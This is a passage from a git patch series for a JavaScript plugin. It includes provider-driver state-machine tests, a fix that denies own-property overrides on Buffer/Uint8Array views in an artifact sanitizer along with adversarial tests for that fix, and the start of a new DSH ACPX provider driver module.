+ assert.notEqual(error.code, 'in_progress'); + return undefined; + } +} + test('the Grok adapter hard-binds grok, the P05/P17 capability record, and managed worktree semantics', () => { const declaration = grokAcpDriverDeclarationV1(); assert.equal(declaration.capability.provider, GROK_PROVIDER_SLOT); @@ -382,6 +423,132 @@ test('unbound adapter still refuses post-spawn replay', () => { assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); }); +test('completed then hostile running stays latched terminal or typed denial', () => { + const transport = createScriptedGrokAcpTransportV1({ + observe: [ + identityReceipt({ status: 'completed' }), + identityReceipt({ status: 'running' }), + ], + }); + const { driver } = launchReady(transport); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'terminal'); + const observeAfterLatch = grokAcpCallsOf(transport, 'observe').length; + assert.equal(observeAfterLatch, 1); + assertLatchedTerminalOrDenial(() => driver.reconcile(requestFor('reconcile'))); + const counts = transportCounts(transport); + assert.ok(counts.observe <= observeAfterLatch + 1, 'observe-call count must stay bounded'); + assert.notEqual(counts.observe, Infinity); + assert.equal(counts.spawn, 1); + assert.equal(counts.dispatch, 1); + assert.equal(counts.cancel, 0); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(transportCounts(transport).spawn, 1); + assert.equal(transportCounts(transport).dispatch, 1); +}); + +test('two cancels after cancel_confirmed confirm once then already_terminal', () => { + const transport = createScriptedGrokAcpTransportV1({ + cancel: identityReceipt({ outcome: 'cancel_confirmed' }), + }); + const { driver } = launchReady(transport); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'cancel_confirmed'); + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'already_terminal'); + assert.equal(grokAcpCallsOf(transport, 'cancel').length, 1); + assert.equal(transportCounts(transport).spawn, 1); + assert.equal(transportCounts(transport).dispatch, 1); +}); + +test('terminal source variants latch without extra observe/cancel/spawn/dispatch', () => { + const sources = [ + { label: 'completed', observe: identityReceipt({ status: 'completed' }) }, + { label: 'failed', observe: identityReceipt({ status: 'failed' }) }, + { label: 'cancelled', observe: identityReceipt({ status: 'cancelled' }) }, + { label: 'cancel_confirmed', cancel: identityReceipt({ outcome: 'cancel_confirmed' }) }, + { label: 'already_terminal', cancel: identityReceipt({ outcome: 'already_terminal' }) }, + ]; + for (const source of sources) { + const transport = createScriptedGrokAcpTransportV1({ + observe: source.observe ?? identityReceipt({ status: 'running' }), + cancel: source.cancel ?? identityReceipt({ outcome: 'cancel_confirmed' }), + }); + const { driver } = launchReady(transport); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched', source.label); + if (source.observe) { + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'terminal', source.label); + } else { + const expected = source.cancel.outcome; + assert.equal(driver.cancel(requestFor('cancel')).disposition, expected, source.label); + } + const afterLatch = transportCounts(transport); + assert.equal(afterLatch.spawn, 1, source.label); + assert.equal(afterLatch.dispatch, 1, source.label); + if (source.cancel) assert.equal(afterLatch.cancel, 1, source.label); + if (source.observe) assert.equal(afterLatch.observe, 1, source.label); + + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'already_terminal', source.label); + assert.equal(transportCounts(transport).cancel, afterLatch.cancel, `${source.label} extra cancel`); + + assertLatchedTerminalOrDenial(() => driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' }))); + const afterReconcile = transportCounts(transport); + assert.ok(afterReconcile.observe <= afterLatch.observe + 1, `${source.label} extra observe`); + assert.equal(afterReconcile.spawn, 1, `${source.label} extra spawn`); + assert.equal(afterReconcile.dispatch, 1, `${source.label} extra dispatch`); + assert.equal(afterReconcile.cancel, afterLatch.cancel, `${source.label} extra cancel after reconcile`); + assert.equal(afterReconcile.reattach, afterLatch.reattach, `${source.label} extra reattach`); + + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied', source.label); + expectCode(() => driver.preflight(requestFor('preflight')), 'invalid_transition', source.label); + assert.equal(transportCounts(transport).spawn, 1, source.label); + assert.equal(transportCounts(transport).dispatch, 1, source.label); + assert.equal(transportCounts(transport).preflight, 1, source.label); + } +}); + +test('cancel_requested stays nonterminal and a later cancel may still reach transport', () => { + const transport = createScriptedGrokAcpTransportV1({ + observe: identityReceipt({ status: 'running' }), + cancel: [ + identityReceipt({ outcome: 'cancel_requested' }), + identityReceipt({ outcome: 'cancel_confirmed' }), + ], + }); + const { driver } = launchReady(transport); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'cancel_requested'); + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'in_progress'); + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'cancel_confirmed'); + assert.equal(grokAcpCallsOf(transport, 'cancel').length, 2); + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'already_terminal'); + assert.equal(grokAcpCallsOf(transport, 'cancel').length, 2); +}); + +test('unbound launch then cancel(already_terminal) then preflight cannot resend', () => { + const transport = createScriptedGrokAcpTransportV1({ + cancel: { + outcome: 'already_terminal', + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', + model: GROK_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + }, + }); + const driver = createGrokAcpDriverV1(transport); + assert.equal(driver.preflight(requestFor('preflight')).disposition, 'ready'); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'already_terminal'); + expectCode(() => driver.preflight(requestFor('preflight')), 'invalid_transition'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(grokAcpCallsOf(transport, 'preflight').length, 1); + assert.equal(grokAcpCallsOf(transport, 'spawn').length, 1); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); +}); + test('lost observe after uncertain launch stays dispatch_uncertain', () => { const transport = createScriptedGrokAcpTransportV1({ dispatch: { throw: { code: 'transport_timeout' } }, From 738cb4ec58266f1041aa4c9c25fe9f0360173f66 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 22:52:36 +0000 Subject: [PATCH 24/81] fix(redaction): deny own overrides on intrinsic byte views Inspect own property descriptors on Buffer/Uint8Array sources and stream chunks before reading buffer, byteOffset, byteLength, or subarray. Reject own accessors and data overrides without executing getters, and keep ordinary intrinsic views and their digests unchanged. --- .../mcp/v3/artifact-sanitizer.mjs | 58 ++++++-- ...r1-artifact-sanitizer-adversarial.test.mjs | 135 ++++++++++++++++++ .../test/r1-artifact-sanitizer.test.mjs | 71 +++++++++ 3 files changed, 253 insertions(+), 11 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs index 74c2f36..a50d04a 100644 --- a/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs +++ b/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs @@ -12,10 +12,13 @@ // stored digest. The live caller-bound stream is the only source of bytes. // // Contract: -// - Source hardening matches P08: proxies (live or revoked), subclasses, +// - Source hardening matches P08 for proxies (live or revoked), subclasses, // SharedArrayBuffer-backed views, accessor-dressed iterables, strings, -// and arbitrary class instances (including Node streams) are denied -// before a byte is read. Every yielded chunk is re-proved intrinsic. +// and arbitrary class instances (including Node streams). In addition, +// own accessors and data overrides on the buffer/byteOffset/byteLength/ +// subarray surface of an otherwise intrinsic view are denied from +// captured descriptors before any of those properties are read or +// called. Every yielded chunk is re-proved intrinsic. // - Only identity-encoded text media types are sanitized // (text/plain, text/markdown, application/json, application/x-ndjson). // application/octet-stream and base64 are refused. @@ -147,6 +150,12 @@ const ASYNC_GENERATOR_PROTOTYPE = OBJECT_GET_PROTOTYPE_OF( const SYMBOL_ASYNC_ITERATOR = Symbol.asyncIterator; const OPTION_KEYS = capturedFreeze(['artifact_ref', 'source', 'source_truncated']); +const INTRINSIC_VIEW_SURFACE_KEYS = capturedFreeze([ + 'buffer', + 'byteOffset', + 'byteLength', + 'subarray', +]); // Bounded built-in policy. Every value-consuming pattern is length-capped so // the finite overlap is sufficient to catch a split token and no caller @@ -319,7 +328,35 @@ function redactRegion(text) { return { text: output, counts }; } -// ---- Binary source hardening (same discipline as P08, local copy). --------- +// ---- Binary source hardening (P08 local copy plus own-surface checks). ----- + +// Own accessors or data properties on these keys shadow the intrinsic +// TypedArray/Buffer surface. Inspect captured descriptors only: a getter +// must not run, and an overridden buffer/length/subarray must not be used. +function hasOwnIntrinsicViewSurfaceOverride(value) { + try { + for (let index = 0; index < INTRINSIC_VIEW_SURFACE_KEYS.length; index += 1) { + const descriptor = OBJECT_GET_OWN_PROPERTY_DESCRIPTOR( + value, + INTRINSIC_VIEW_SURFACE_KEYS[index], + ); + if (descriptor !== undefined) return true; + } + return false; + } catch { + return true; + } +} + +function denyNonIntrinsicView(code) { + if (code === 'artifact_stream_invalid_chunk') { + failSanitizer('artifact_stream_invalid_chunk', 'source', + 'Every stream chunk must be an intrinsic Buffer/Uint8Array view.'); + } + failSanitizer('artifact_stream_invalid_source', 'source', + 'The artifact source must be an intrinsic Buffer/Uint8Array view or a bounded ' + + 'async iterable of such views.'); +} function isIntrinsicBinaryView(value) { if (value === null || typeof value !== 'object') return false; @@ -327,6 +364,7 @@ function isIntrinsicBinaryView(value) { const proto = OBJECT_GET_PROTOTYPE_OF(value); if (proto !== UINT8ARRAY_PROTOTYPE && proto !== BUFFER_PROTOTYPE) return false; if (!ARRAY_BUFFER_IS_VIEW(value)) return false; + if (hasOwnIntrinsicViewSurfaceOverride(value)) return false; const backing = value.buffer; if (!IS_ARRAY_BUFFER(backing) || IS_SHARED_ARRAY_BUFFER(backing)) return false; return true; @@ -355,9 +393,7 @@ function classifySource(source) { } if (isAcceptableAsyncIterable(source)) return { kind: 'stream', value: source }; } - failSanitizer('artifact_stream_invalid_source', 'source', - 'The artifact source must be an intrinsic Buffer/Uint8Array view or a bounded ' - + 'async iterable of such views.'); + denyNonIntrinsicView('artifact_stream_invalid_source'); } function createSession(declaredLength) { @@ -417,7 +453,8 @@ function feedDecoded(session, decoded) { commitPending(session, false); } -function feedView(session, view) { +function feedView(session, view, denialCode = 'artifact_stream_invalid_source') { + if (hasOwnIntrinsicViewSurfaceOverride(view)) denyNonIntrinsicView(denialCode); const size = view.byteLength; if (size > MAX_RAW_ARTIFACT_BYTE_LENGTH - session.received) { failSanitizer('artifact_stream_over_cap', 'source', @@ -467,10 +504,9 @@ async function* inspectAndForward(iterable, session) { try { for await (const chunk of iterable) { if (!isIntrinsicBinaryView(chunk)) { - failSanitizer('artifact_stream_invalid_chunk', 'source', - 'Every stream chunk must be an intrinsic Buffer/Uint8Array view.'); + denyNonIntrinsicView('artifact_stream_invalid_chunk'); } - feedView(session, chunk); + feedView(session, chunk, 'artifact_stream_invalid_chunk'); yield chunk; } finishSession(session); diff --git a/plugins/codex-co-engineer/test/r1-artifact-sanitizer-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-sanitizer-adversarial.test.mjs index 5e484b5..0bc5a3f 100644 --- a/plugins/codex-co-engineer/test/r1-artifact-sanitizer-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-artifact-sanitizer-adversarial.test.mjs @@ -222,6 +222,141 @@ test('oversized, endless, huge, short, and over-declared streams fail without pu }); }); +const INTRINSIC_VIEW_SURFACE_KEYS = ['buffer', 'byteOffset', 'byteLength', 'subarray']; + +function copyView(kind, bytes) { + return kind === 'Buffer' ? Buffer.from(bytes) : Uint8Array.from(bytes); +} + +function dressAccessor(view, key, trap) { + Object.defineProperty(view, key, { + configurable: true, + enumerable: false, + get() { + trap.runs += 1; + throw new Error('attacker getter must never run'); + }, + set() { + trap.runs += 1; + throw new Error('attacker setter must never run'); + }, + }); + return view; +} + +function dressData(view, key) { + const attacker = Buffer.from('ATTACKER_SUBSTITUTED_BYTES\n'); + let value; + if (key === 'buffer') value = attacker.buffer; + else if (key === 'byteOffset') value = 1; + else if (key === 'byteLength') value = 1; + else value = () => attacker; + Object.defineProperty(view, key, { + configurable: true, + enumerable: false, + writable: true, + value, + }); + return view; +} + +async function* streamOf(view) { + yield view; +} + +test('own accessors and data overrides on intrinsic byte views fail closed without traps or substitution', async () => { + await withStore(async (store, root) => { + const sample = SAMPLES.plain; + const viaBuffer = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/clean-buffer.txt`, + }), + source: sample.raw, + }); + const uint8 = Uint8Array.from(sample.raw); + const viaUint8 = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(uint8, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/clean-uint8.txt`, + }), + source: uint8, + }); + assert.equal(viaBuffer.source_digest, digestOf(sample.raw)); + assert.equal(viaUint8.source_digest, viaBuffer.source_digest); + assert.equal(viaUint8.sanitized_digest, viaBuffer.sanitized_digest); + assert.equal(viaBuffer.sanitized_digest, digestOf(sample.sanitized)); + + const viaUint8Stream = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(uint8, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/clean-uint8-stream.txt`, + }), + source: streamOf(Uint8Array.from(sample.raw)), + }); + assert.equal(viaUint8Stream.source_digest, viaBuffer.source_digest); + assert.equal(viaUint8Stream.sanitized_digest, viaBuffer.sanitized_digest); + + let caseIndex = 0; + for (const kind of ['Buffer', 'Uint8Array']) { + for (const key of INTRINSIC_VIEW_SURFACE_KEYS) { + for (const dress of ['accessor', 'data']) { + for (const mode of ['source', 'chunk']) { + caseIndex += 1; + const trap = { runs: 0 }; + const view = copyView(kind, sample.raw); + if (dress === 'accessor') dressAccessor(view, key, trap); + else dressData(view, key); + const expectedCode = mode === 'chunk' + ? 'artifact_stream_invalid_chunk' + : 'artifact_stream_invalid_source'; + const source = mode === 'chunk' ? streamOf(view) : view; + const error = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/override-${caseIndex}.txt`, + }), + source, + }), + expectedCode, + 'source', + ); + assert.equal(trap.runs, 0, `${kind} ${key} ${dress} ${mode} executed a getter`); + assertContentFree(error, root, sample.raw); + assert.equal(error.message.includes('attacker getter'), false); + assert.equal(error.message.includes('ATTACKER_SUBSTITUTED_BYTES'), false); + assert.equal(error instanceof RunContractV1Error, true); + assert.equal(error.code, expectedCode); + } + } + } + } + + const substituting = Buffer.from(sample.raw); + let substituteRuns = 0; + Object.defineProperty(substituting, 'byteLength', { + configurable: true, + get() { + substituteRuns += 1; + return 0; + }, + }); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/substituting-byteLength.txt`, + }), + source: substituting, + }), + 'artifact_stream_invalid_source', + 'source', + ); + assert.equal(substituteRuns, 0); + + const report = await store.audit(); + assert.equal(report.artifacts, 6); + assert.equal(report.namespaces.raw.artifacts, 3); + assert.equal(report.namespaces.sanitized.artifacts, 3); + }); +}); + test('proxy, revoked proxy, subclass, shared buffer, accessor, and arbitrary streams fail closed', async () => { await withStore(async (store, root) => { const sample = SAMPLES.credentialFormat; diff --git a/plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs index 8d309ea..0cd0d6e 100644 --- a/plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs +++ b/plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs @@ -136,6 +136,77 @@ test('a validated buffer source publishes raw and sanitized and returns frozen p }); }); +test('intrinsic Buffer and Uint8Array views keep the same digest; own surface overrides are denied', async () => { + await withStore(async (store, root) => { + const sample = SAMPLES.plain; + const viaBuffer = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/buffer.txt`, + }), + source: sample.raw, + }); + const uint8 = Uint8Array.from(sample.raw); + const viaUint8 = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(uint8, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/uint8.txt`, + }), + source: uint8, + }); + assert.equal(viaBuffer.source_digest, digestOf(sample.raw)); + assert.equal(viaUint8.source_digest, viaBuffer.source_digest); + assert.equal(viaUint8.sanitized_digest, viaBuffer.sanitized_digest); + assertProvenanceShape(viaBuffer, sample); + assertProvenanceShape(viaUint8, sample); + + let getterRuns = 0; + const dressed = Buffer.from(sample.raw); + Object.defineProperty(dressed, 'byteLength', { + configurable: true, + get() { + getterRuns += 1; + throw new Error('attacker getter must never run'); + }, + }); + const dressedError = await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/dressed-source.txt`, + }), + source: dressed, + }), + 'artifact_stream_invalid_source', + 'source', + ); + assert.equal(getterRuns, 0); + assert.equal(dressedError.message.includes('attacker getter'), false); + assert.equal(dressedError.message.includes(root), false); + + const attacker = Buffer.from('ATTACKER_SUBSTITUTED_BYTES\n'); + const overridden = Uint8Array.from(sample.raw); + Object.defineProperty(overridden, 'subarray', { + configurable: true, + writable: true, + value() { return attacker; }, + }); + async function* dressedChunk() { yield overridden; } + const chunkError = await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/dressed-chunk.txt`, + }), + source: dressedChunk(), + }), + 'artifact_stream_invalid_chunk', + 'source', + ); + assert.equal(chunkError.message.includes('ATTACKER_SUBSTITUTED_BYTES'), false); + const report = await store.audit(); + assert.equal(report.artifacts, 4); + assert.equal(report.namespaces.raw.artifacts, 2); + assert.equal(report.namespaces.sanitized.artifacts, 2); + }); +}); + test('buffer and bounded async stream sources produce identical sanitized digests', async () => { await withStore(async (store) => { const sample = SAMPLES.plain; From 760d62da5ea210235123c339adf36e96b88a963b Mon Sep 17 00:00:00 2001 From: ox-alpha Date: Sat, 22 Aug 2026 20:50:00 +0000 Subject: [PATCH 25/81] feat(provider): add the DSH ACPX provider driver for Muse Spark and Ox Alpha Additive P20 adapter over the accepted P17 ProviderDriverV1 contract. It hard-binds provider dsh plus exactly muse-spark-1.2-contributor or stealth/ox-alpha, drives preflight/launch/reconcile/cancel through an injected bounded ACPX one-shot transport port, and inherits every envelope, capability, transition, and denial rule from the accepted contract (no parallel envelope or capability schema). ACPX provides no authoritative prompt-sent acknowledgement: after spawn intent the launch posture stays uncertain; post-intent exceptions and loss are reported as dispatch_uncertain and are never replayed, retried, or fallback-substituted. Only provably pre-spawn failures may report not_sent. Same-session reply is unsupported: unresolved attention surfaces honestly and no replacement prompt or session is started. Live progress, detailed events, cancellation confirmation, and restart recovery read recorded ACPX evidence through bounded pages; exact model/config/credential identity and task/session correlation fail closed on drift; forged receipts fail closed while loss degrades to uncertainty. Events, records, cursors, lanes, attempts, operations, and clock readings are capped, and detail telemetry is composed only from closed vocabulary words and validated integers so prompt, reply, or event content can never leak into protected telemetry. The module claims no real transport, durable P19/P21 store, scheduler, registry cutover, supervisor cutover, or merge/PR authority. --- .../mcp/v3/dsh-acpx-driver.mjs | 1070 +++++++++++++++++ 1 file changed, 1070 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/dsh-acpx-driver.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/dsh-acpx-driver.mjs b/plugins/codex-co-engineer/mcp/v3/dsh-acpx-driver.mjs new file mode 100644 index 0000000..dbd775d --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/dsh-acpx-driver.mjs @@ -0,0 +1,1070 @@ +// DshApxDriverV1 - the P20 DSH ACPX provider driver for Muse Spark 1.2 +// Contributor and Ox Alpha. +// +// Additive v3 adapter over the accepted P17 ProviderDriverV1 contract. This +// module owns ONLY the DSH-specific wiring; every request/result shape, +// capability posture, transition rule, and denial code is inherited from the +// accepted contract (no parallel envelope or capability schema): +// - hard binding: provider `dsh` plus exactly `muse-spark-1.2-contributor` +// or `stealth/ox-alpha`; every other provider/model pairing fails closed; +// - the four lifecycle operations (preflight, launch, reconcile, cancel) +// are driven through an INJECTED BOUNDED ACPX ONE-SHOT TRANSPORT PORT. +// The port owns every real interaction; this module performs none; +// - honest uncertainty: ACPX provides no authoritative prompt-sent +// acknowledgement, so after spawn/dispatch intent the launch posture is +// uncertain. Any post-intent exception or loss is reported as the +// `dispatch_uncertain` disposition and is NEVER replayed, retried, or +// fallback-substituted onto this or another transport. Only a transport +// failure that is provably pre-spawn (a marked pre-spawn error, or any +// failure before the spawn call was ever made) may report `not_sent`; +// - same-session reply is unsupported (`unsupported_unresolved_attention`): +// unresolved attention surfaces honestly through the reconcile +// disposition; no replacement prompt/session is ever started; +// - live progress, detailed events, cancellation confirmation, and restart +// recovery are read from RECORDED ACPX EVIDENCE through bounded pages; +// - exact model/credential/config identity plus task/session correlation +// fail closed on drift; forged or malformed receipts fail closed while +// transport loss degrades honestly to uncertainty; +// - events, records, cursors, lanes, attempts, operations, timestamps, and +// diagnostics are capped; detail messages are composed only from closed +// vocabulary words and validated integers, so provider prompt, reply, or +// event content can never leak into protected telemetry. +// +// Non-claims: this slice qualifies no real transport. The module claims no +// durable P19/P21 store, scheduler, registry cutover, or supervisor cutover, +// and holds no merge/PR authority. + +import { + createHash as nodeCreateHash, + timingSafeEqual as cryptoTimingSafeEqual, +} from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { + DRIVER_DECLARATION_SCHEMA_ID, + DRIVER_OPERATIONS, + DRIVER_RESULT_SCHEMA_IDS, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_DRIVER_VERSION, + assertCapabilityRequirementV1, + bindProviderDriverV1, + validateDriverDeclarationV1, +} from './provider-driver.mjs'; +import { + capturedFreeze, + capturedIncludes, + capturedJoin, + capturedTest, +} from './grammar.mjs'; +import { DIGEST_HEX_LENGTH } from './identity.mjs'; +import { parseChildEnvelopeV1 } from './prompt-compiler.mjs'; +import { + assertAllowedKeys, + assertBoundedText, + assertDenseJsonArray, + assertJsonDataObject, + isPlainObject, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + optOwn, +} from './selection-json.mjs'; + +const IS_PROXY = utilTypes.isProxy; +const MAP_CTOR = Map; +const OBJECT_FREEZE = Object.freeze; +const TIMING_SAFE_EQUAL = cryptoTimingSafeEqual; +const CREATE_HASH = nodeCreateHash; + +// --------------------------------------------------------------------------- +// Closed surface constants +// --------------------------------------------------------------------------- + +export const DSH_ACPX_DRIVER_SCHEMA_ID = 'codex-co-engineer.dsh-acpx-driver.v1'; +export const DSH_ACPX_DRIVER_VERSION = 1; +export const DSH_PROVIDER = 'dsh'; + +export const DSH_ALLOWED_MODELS = capturedFreeze([ + 'muse-spark-1.2-contributor', + 'stealth/ox-alpha', +]); + +// Informational identity data mirroring the shipped supervisor DSH routing. +// The injected port resolves real paths and credentials; this map never +// touches the filesystem and confers no authority by itself. +export const DSH_MODEL_IDENTITIES = capturedFreeze({ + 'muse-spark-1.2-contributor': capturedFreeze({ + config_file: 'dsh-acp.yml', + credential_env: 'MODEL_API_KEY', + credential_file_env: 'CODEX_CO_ENGINEER_MODEL_API_KEY_FILE', + credential_file: 'model-api-key', + }), + 'stealth/ox-alpha': capturedFreeze({ + config_file: 'dsh-acp-ox-alpha.yml', + credential_env: 'OPENROUTER_API_KEY', + credential_file_env: 'CODEX_CO_ENGINEER_OPENROUTER_API_KEY_FILE', + credential_file: 'openrouter-api-key', + }), +}); + +// The one workspace posture this driver accepts: a local managed worktree +// anchored at the immutable run base SHA. Direct mode fails closed. +export const DSH_WORKSPACE_MODES = capturedFreeze(['managed']); + +export const DSH_ACPX_TRANSPORT_KEYS = capturedFreeze([ + 'cancel', 'configIdentity', 'events', 'poll', 'spawn', +]); + +const DSH_DRIVER_OPTION_KEYS = capturedFreeze(['now', 'transport', 'workspace_mode']); + +// Recorded-evidence vocabulary the injected port must project raw ACPX output +// into. `absent` means the port found no recorded evidence for the session. +export const DSH_EVIDENCE_STATES = capturedFreeze([ + 'absent', 'accepted', 'running', 'needs_attention', + 'completed', 'failed', 'cancelled', +]); +export const DSH_TERMINAL_EVIDENCE_STATES = capturedFreeze([ + 'completed', 'failed', 'cancelled', +]); +export const DSH_STOP_REASONS = capturedFreeze(['end_turn', 'cancelled', 'timeout', 'error']); +export const DSH_EVENT_KINDS = capturedFreeze([ + 'text_delta', 'thought_delta', 'tool_call', 'tool_call_update', + 'status', 'usage', 'attention', +]); +export const DSH_CANCEL_OUTCOMES = capturedFreeze([ + 'confirmed', 'requested', 'already_terminal', +]); +export const DSH_IDENTITY_UNAVAILABLE_REASONS = capturedFreeze([ + 'config_unavailable', 'credential_unavailable', +]); + +// Every detail_code this driver can emit. Codes and messages are fixed +// vocabulary; transports never author either. +export const DSH_DETAIL_CODES = capturedFreeze([ + 'already_terminal', + 'cancel_confirmed', + 'cancel_requested', + 'dsh_config_unavailable', + 'dsh_credential_unavailable', + 'dsh_transport_unavailable', + 'evidence_absent', + 'live_progress', + 'restart_evidence_absent', + 'terminal_evidence', + 'transport_prespawn_denied', + 'unresolved_attention', +]); + +// Bounds. Counts, cursors, text, lanes, attempts, operations, and clock +// readings above these bounds fail closed. +export const DSH_MAX_LANES = 64; +export const DSH_MAX_LAUNCH_ATTEMPTS = 2; +export const DSH_MAX_LANE_OPERATIONS = 256; +export const DSH_MAX_RECORDED_EVENTS = 1024; +export const DSH_MAX_EVENT_PAGE_RECORDS = 64; +export const DSH_MAX_EVENT_RECORD_BYTES = 4096; +export const DSH_MAX_CURSOR = 1_000_000_000; +export const DSH_MAX_SESSION_REF_BYTES = 128; +export const DSH_MAX_CONFIG_PATH_BYTES = 1024; +export const DSH_MAX_TIME_MS = 4102444800000; // 2100-01-01T00:00:00Z + +export const DSH_SESSION_REF_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +export const DSH_QUESTION_REF_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._-]{0,79}$/u; +export const DSH_DIGEST_HEX_PATTERN = new RegExp(`^[0-9a-f]{${DIGEST_HEX_LENGTH}}$`, 'u'); +export const DSH_ABSOLUTE_PATH_PATTERN = /^\/[^\\%]*$/u; +export const DSH_TRANSPORT_ERROR_CODE_PATTERN = /^[a-z0-9][a-z0-9._-]{0,63}$/u; + +const DSH_IDENTITY_KEYS = capturedFreeze([ + 'config_path', 'config_sha256', 'credential_sha256', 'credential_source', 'ready', +]); +const DSH_IDENTITY_UNAVAILABLE_KEYS = capturedFreeze(['ready', 'reason']); +const DSH_DISPATCH_PAYLOAD_KEYS = capturedFreeze([ + 'assignment_id', 'attempted_at_ms', 'base_sha', 'child_envelope_digest', + 'envelope_text', 'lane_index', 'model', 'run_id', +]); +const DSH_POLL_REQUEST_KEYS = capturedFreeze(['correlation', 'session_ref']); +const DSH_CANCEL_REQUEST_KEYS = capturedFreeze(['correlation', 'session_ref']); +const DSH_EVENTS_REQUEST_KEYS = capturedFreeze([ + 'correlation', 'cursor', 'max_records', 'session_ref', +]); +const DSH_CORRELATION_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'child_envelope_digest', 'lane_index', 'model', 'run_id', +]); +const DSH_SPAWN_RECEIPT_KEYS = capturedFreeze(['observed_at_ms', 'session_ref']); +const DSH_IDENTITY_RECEIPT_KEYS = capturedFreeze([ + ...DSH_IDENTITY_KEYS, ...DSH_IDENTITY_UNAVAILABLE_KEYS, +]); +const DSH_EVIDENCE_RECEIPT_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'child_envelope_digest', 'cursor', 'event_count', + 'lane_index', 'model', 'question_ref', 'run_id', 'session_ref', 'state', + 'stop_reason', 'updated_at_ms', +]); +const DSH_EVENT_PAGE_KEYS = capturedFreeze(['next_cursor', 'records', 'truncated']); +const DSH_EVENT_RECORD_KEYS = capturedFreeze(['bytes', 'kind', 'seq']); +const DSH_CANCEL_RECEIPT_KEYS = capturedFreeze([...DSH_CORRELATION_KEYS, 'outcome', 'session_ref']); +const IDENTITY_DRIFT_FIELDS = capturedFreeze([ + 'config_path', 'config_sha256', 'credential_source', 'credential_sha256', +]); + +function laneKey(envelope) { + return `${envelope.run_id}\u0000${envelope.assignment_id}`; +} + +// Hash-then-compare keeps the comparison constant time without leaking length. +function constantTimeEqual(left, right) { + if (typeof left !== 'string' || typeof right !== 'string') return false; + const leftBytes = Buffer.from(CREATE_HASH('sha256').update(left, 'utf8').digest(), 'hex'); + const rightBytes = Buffer.from(CREATE_HASH('sha256').update(right, 'utf8').digest(), 'hex'); + return TIMING_SAFE_EQUAL(leftBytes, rightBytes); +} + +// --------------------------------------------------------------------------- +// Declaration: the honest DSH posture, hard-bound at construction +// --------------------------------------------------------------------------- + +function buildDshAcpDeclarationV1() { + const declaration = { + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: { + schema: PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + artifact_kinds: ['provider_report'], + create_pr_posture: 'prohibited', + dispatch_certainty: 'uncertain_after_spawn', + exact_model_selection: 'exact_and_attested', + merge_authority: 'none_codex_only_integration', + notes: 'DSH ACPX one-shot flow for 